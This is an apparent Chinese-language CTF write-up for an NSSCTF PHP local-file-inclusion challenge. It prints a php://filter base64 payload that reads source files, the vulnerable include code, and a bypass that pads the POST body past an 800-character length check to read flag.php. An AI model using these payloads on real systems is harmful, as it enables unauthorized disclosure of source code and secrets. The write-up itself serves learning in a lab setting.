打开题目
看起来是个简单的文件包含
在进行简单尝试后发现其实是需要绕过的
payload
=php://filter/convert.base64-encode/resource=index.php
尝试了一下上面的payload发现可以,原来是将flag过滤了读取index.php,去看下过滤的细节
解码一下
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
这里过滤了flag,但是这个if语句有一个漏洞,我们可以让post传输的数据字符数大于800,就可以成功绕过,我们尝试一下,
0=51111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
&flag=php://filter/convert.base64-encode/resource=flag.php